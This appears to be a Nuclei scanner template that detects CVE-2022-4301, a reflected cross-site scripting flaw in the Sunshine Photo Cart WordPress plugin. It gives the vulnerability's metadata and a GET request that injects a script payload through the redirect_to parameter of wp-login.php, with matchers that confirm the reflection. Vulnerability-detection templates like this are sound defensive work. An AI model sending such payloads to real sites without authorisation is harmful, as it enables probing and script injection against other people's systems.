nuclei-templates/cves/2022/CVE-2022-4301.yaml

44 lines
1.2 KiB
YAML
Raw Normal View History

2023-03-05 13:42:10 +00:00
id: CVE-2022-4301
info:
name: Sunshine Photo Cart < 2.9.15 - Cross Site Scripting
author: r3Y3r53
severity: medium
description: |
The Sunshine Photo Cart WordPress plugin before 2.9.15 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting.
remediation: Fixed in version 2.9.15
reference:
- https://wpscan.com/vulnerability/a8dca528-fb70-44f3-8149-21385039179d
- https://nvd.nist.gov/vuln/detail/CVE-2022-4301
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-4301
cwe-id: CWE-79
metadata:
verified: "true"
tags: cve,cve2022,xss,sunshine,wordpress,wp-plugin,wpscan,unauth
requests:
- method: GET
path:
- "{{BaseURL}}/wp-login.php?action=register&redirect_to=x%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<script>alert(document.domain)</script>'
- 'Registration Form'
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200